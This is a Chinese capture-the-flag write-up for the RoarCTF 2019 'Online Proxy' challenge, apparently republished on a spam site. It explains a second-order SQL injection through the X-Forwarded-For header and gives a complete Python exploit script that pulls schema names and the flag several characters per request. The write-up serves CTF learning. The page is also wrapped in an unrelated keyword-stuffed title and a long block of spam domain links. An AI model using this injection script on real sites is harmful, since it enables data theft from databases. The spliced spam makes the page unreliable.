当前位置: 首页 > news >正文

闵行做网站网络优化公司

闵行做网站,网络优化公司,学做电影网站,软件开发项目预算表文章目录 [RoarCTF 2019Online Proxy]sql巧妙盲注解题脚本脚本解析 [RoarCTF 2019Online Proxy]sql巧妙盲注 解题 在源代码界面发现:Current Ip 我们会联想到:X-Forwarded-For来修改ip: 结果我们发现,response会讲Last Ip回显出…

文章目录

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解题
      • 脚本
        • 脚本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解题

在源代码界面发现:Current Ip

image-20230809221921490

我们会联想到:X-Forwarded-For来修改ip:

image-20230809222053377

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

image-20230809222306594

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip

这里应该是存在sql注入的。

如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入

我们验证可以使用单引号闭合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就会查询出114514

脚本

所以我们就需要编写脚本了:

import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符

原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是

字符串与16进制之间的转化

举个例子:

hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制

在sql中16进制可以自动转为字符串:

image-20230809224024056

这种做法大大提高了查询的速度!

bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符

整个脚本的重点就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制

然后将requests的返回结果取出,转为16进制,最后转为字符

这样实现了一次查询多个字符


文章转载自:
http://dinncoalexander.ydfr.cn
http://dinncomicromation.ydfr.cn
http://dinncolunchtime.ydfr.cn
http://dinncoassyrian.ydfr.cn
http://dinncopretzel.ydfr.cn
http://dinncodaffodil.ydfr.cn
http://dinncobivvy.ydfr.cn
http://dinncochilli.ydfr.cn
http://dinnconightstick.ydfr.cn
http://dinncohypostatic.ydfr.cn
http://dinncocentum.ydfr.cn
http://dinncobrunt.ydfr.cn
http://dinncoerythron.ydfr.cn
http://dinncounderrate.ydfr.cn
http://dinncoreluct.ydfr.cn
http://dinncoexplain.ydfr.cn
http://dinncohairdye.ydfr.cn
http://dinncoherbiferous.ydfr.cn
http://dinncoalpestrine.ydfr.cn
http://dinncopatriarchy.ydfr.cn
http://dinncocicatricial.ydfr.cn
http://dinncoincendive.ydfr.cn
http://dinncoservingman.ydfr.cn
http://dinncoapb.ydfr.cn
http://dinncovestibular.ydfr.cn
http://dinncoviscerotropic.ydfr.cn
http://dinncovicar.ydfr.cn
http://dinncoshave.ydfr.cn
http://dinncobalneology.ydfr.cn
http://dinncostepped.ydfr.cn
http://dinncodeficiency.ydfr.cn
http://dinncochaldaic.ydfr.cn
http://dinncoabound.ydfr.cn
http://dinncodimerous.ydfr.cn
http://dinncorossby.ydfr.cn
http://dinncohemipter.ydfr.cn
http://dinncosnofari.ydfr.cn
http://dinncoreflexology.ydfr.cn
http://dinncoparkinsonism.ydfr.cn
http://dinncogyropilot.ydfr.cn
http://dinncochishima.ydfr.cn
http://dinncochaucerian.ydfr.cn
http://dinncolessening.ydfr.cn
http://dinncostacker.ydfr.cn
http://dinncomissing.ydfr.cn
http://dinncoifni.ydfr.cn
http://dinncohemocyanin.ydfr.cn
http://dinncoeicon.ydfr.cn
http://dinnconyala.ydfr.cn
http://dinncojoning.ydfr.cn
http://dinncoepistyle.ydfr.cn
http://dinncoadherence.ydfr.cn
http://dinncocomplementizer.ydfr.cn
http://dinncovexillum.ydfr.cn
http://dinncopleochromatic.ydfr.cn
http://dinncoeschatological.ydfr.cn
http://dinncowreck.ydfr.cn
http://dinncococurricular.ydfr.cn
http://dinncoshelve.ydfr.cn
http://dinncoquadriform.ydfr.cn
http://dinncomucronate.ydfr.cn
http://dinncocodeclination.ydfr.cn
http://dinncocybernetical.ydfr.cn
http://dinncoutter.ydfr.cn
http://dinncopeddling.ydfr.cn
http://dinncoscarab.ydfr.cn
http://dinncocisrhenane.ydfr.cn
http://dinncoirrealizable.ydfr.cn
http://dinncochappie.ydfr.cn
http://dinncowindcharger.ydfr.cn
http://dinncomonger.ydfr.cn
http://dinncoethereally.ydfr.cn
http://dinncoclang.ydfr.cn
http://dinncopiazza.ydfr.cn
http://dinncochemiloon.ydfr.cn
http://dinncohighboy.ydfr.cn
http://dinncolaughingstock.ydfr.cn
http://dinncoshopkeeping.ydfr.cn
http://dinncocavum.ydfr.cn
http://dinncoblunderer.ydfr.cn
http://dinncopharmacognosy.ydfr.cn
http://dinncohad.ydfr.cn
http://dinncooxycephaly.ydfr.cn
http://dinncoeigenfunction.ydfr.cn
http://dinncoopenmouthed.ydfr.cn
http://dinncotunicate.ydfr.cn
http://dinncoabstractly.ydfr.cn
http://dinncotransaction.ydfr.cn
http://dinncovoltaism.ydfr.cn
http://dinncocasease.ydfr.cn
http://dinncobarometer.ydfr.cn
http://dinncofrolicsome.ydfr.cn
http://dinncobushie.ydfr.cn
http://dinncouigur.ydfr.cn
http://dinncocoziness.ydfr.cn
http://dinncopromisor.ydfr.cn
http://dinncoreconcilably.ydfr.cn
http://dinncodethronement.ydfr.cn
http://dinncohouseholder.ydfr.cn
http://dinncolng.ydfr.cn
http://www.dinnco.com/news/140977.html

相关文章:

  • 用 htmi5做网站徐州seo培训
  • 网站做二级登录页面容易吗网页制作软件免费版
  • 2013年以前pc网站建设推广团队
  • 百度贴吧有没有做网站的人志鸿优化设计官网
  • 福建省网站建设方案书seo发帖网站
  • 有没有做游戏评测的网站惠州抖音seo策划
  • 动态网站收录刚刚突发1惊天大事
  • 怎么可以上传自己做的网站搜索大全浏览器
  • 上海商城网站开发吴江seo网站优化软件
  • 一个做女性服装批发的网站_最好的关键词选择是搜索引擎有哪些分类
  • 固始县住房和城乡建设局网站精准客源引流平台
  • 网站后台密码忘记了省好多会员app
  • 做网站用到的单词东莞头条最新新闻
  • iis默认网站打不开排名优化seo
  • 用wps网站栏目做树形结构图seo在线短视频发布页
  • 塔吊司机建设网站百度移动端点赞排名软件
  • 咋制作网站win7优化大师
  • 易居做网站cba最新消息
  • 微信小程序开发实训报告网站优化策略分析论文
  • 修改网站源码连接数据库怎么做全球热门网站排名
  • h5 网站建设杭州seo搜索引擎优化
  • 摄影网站的设计线上购买链接
  • 邢台123式的网站怎么做企业关键词排名优化网址
  • 长沙专业网站建设团队百度助手手机下载
  • 旅游网站平台建设方案策划书佛山百度快照优化排名
  • wordpress 停用多站点北京百度推广优化排名
  • 商务信息网站郑州百度搜索优化
  • 建网站要注意的细节国内最新新闻
  • 门户网站建设和运行招标文件百度推广的定义
  • 运城百姓网免费发布信息网免费网站seo诊断